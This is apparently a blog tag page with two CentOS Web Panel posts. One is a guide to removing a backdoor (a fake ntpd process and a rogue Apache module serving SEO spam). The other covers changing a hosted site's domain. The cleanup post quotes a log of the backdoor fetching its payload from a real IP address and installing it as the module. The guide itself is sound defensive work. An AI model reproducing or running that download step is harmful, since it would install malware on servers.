Posts Tagged with CWP

You are infected with a backdoor python script which runs as a fake ntpd process. The redirection is performed by a fake mod_auth_form.so apache module which links libcurl library.


1) Kill the ntpd service
systemctl stop ntpd
systemctl disable ntpd


2) remove /usr/bin/ntpd file


3) examine the module
search for suspicious strings inside the module

strings /usr/local/apache/modules/mod_auth_form.so | grep -i -C5 "facebook|bot|welcome|loading"


if it has strings like:
is_search_engine_bot
decoded_bot_user_agents
encoded_bot_user_agents
fetch_seo_content
seo_write_callback
decoded_default_seo_content
decoded_js_page
intercept_handler
intercept_register_hooks


it is definitely a fake module


Also a good step is to check the integrity of the rpm which installed this fake module


rpm -V cwp-httpd | grep mod_auth_form


if the result is something like
S.5....T. /usr/local/apache/modules/mod_auth_form.so


means that size, the checksum and time differ from the rpm database


4) delete the fake mod_auth_form.so module
rm -f /usr/local/apache/modules/mod_auth_form.so


or copy it to examine it further or compare it to the real mod_auth_form.so module


cp /usr/loca/apache/modules/mod_auth_form.so /root/mod_auth_form.so.suspected


5) comment the line loading it in /usr/local/apache/conf/httpd.conf
#LoadModule auth_form_module modules/mod_auth_form.so


6) restart apache
systemctl restart httpd


7) verify that the redirect no longer happens
go to facebook share debugger and hit 2 times a webpage from your server and see if this "welcome" fake page still appears or now correct metadata are read


or do a test with curl and a bot agent from cli:
curl -v --compressed -H "Range: bytes=0-524288" -H "Connection: close" -A "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" "YOUR_TEST_URL"


8) if you examine /var/log/messages you will find something like the following
server cwpsrv: chmod: cannot access ‘/usr/local/apache/modules/mod_auth_form.so’: No such file or directory
server cwpsrv: --2026-07-28 17:54:58-- http://23.27.47.158:443/postmm.rar
server cwpsrv: Connecting to 23.27.47.158:443... connected.
server cwpsrv: HTTP request sent, awaiting response... 200 OK
server cwpsrv: Length: 70312 (69K) [application/vnd.rar]
server cwpsrv: Saving to: ‘/usr/local/apache/modules/mod_auth_form.so’
server cwpsrv: 0K .......... .......... .......... .......... .......... 72% 144K 0s
server cwpsrv: 50K .......... ........ 100% 278K=0.4s
server cwpsrv: 2026-07-28 17:54:58 (166 KB/s) - ‘/usr/local/apache/modules/mod_auth_form.so’ saved [70312/70312]
server cwpsrv: Syntax OK


That is the backdoor in action


And finally----------->

Upgrade cwp and apache to latest versions!


(latest apache version is not 2.4.62)
PS:

Because we do not know that this is patched (changelog is not complete), I recommend adding a password in front of your cwp root directory in nginx (cwpsrv is nginx)

There is this neat panel, CWP (CentOS Web Panel) which has all the necessary tools to run a webhost and a nice interface both for the central root panel and the user one.

One thing that it's been missing though is this: there is a website hosted in a CWP powered webhost and the owner decides to change the domain name from olddomain to newdomain.

If you are coming from other panels (e.g cpanel) you may be accustomed for this to be supported. But this is not the case with CWP (Pro edition or not).

A quick search in the forums revealed some questions posted, but the usual answer was "it is not supported".

Well enough, talking, let's see how we can do it on our own!

Important: in this scenario there were no email accounts and the webhost was running just Apache (CWP offers support for Apache, NGINX, litespeed, Apache+NGINX+Varnish).

Also important: I assume that the newdomain is already pointed to your webhost!

First things first: how does the CWP knows which user has which domain?

Apparently there is this database called "root_cwp" and in this db there is this table "user" where you can find the user account you want to change and then change the domain cell.

So:

$mysql 
$MariaDB [localhost]>USE root
$MariaDB [localhost]>UPDATE user SET `domain` = 'newdomain' WHERE `username` = 'useraccount';
$MariaDB [localhost]>quit;

Next step: Apache vhost. We have to copy the already existing vhost and change the references in it from olddomain to newdomain

cd /usr/local/apache/conf.d/vhosts/
cp olddomain.conf newdomain.conf
sed -i 's/olddomain/newdomain/g' newdomain.conf

Important: do not copy the ssl.conf because there is no ssl yet for this domain. We will generate it later after we have finished.

Next step: BIND dns zone. Copy the zone and change references again.

$cd /var/named/
$cp olddomain.db newdomain.db
$sed -i 's/olddomain/newdomain/g' newdomain.db

Next substep: inform BIND that there is a new zonefile: edit /etc/named.conf , find the lines regarding the old domain (something like this:

// zone olddomain
zone "olddomain" {type master; file "/var/named/olddomain.db";};
// zone_end olddomain

)

and change the olddomain to newdomain

Next step: restart Apache and Bind

$systemctl restart named
$systemctl restart httpd

Hopefully all went well!
Now we can go and generate our brand new ssl from the root web interface, so the necessary changes will be handled by CWP for the new ssl to work.

That's all folks!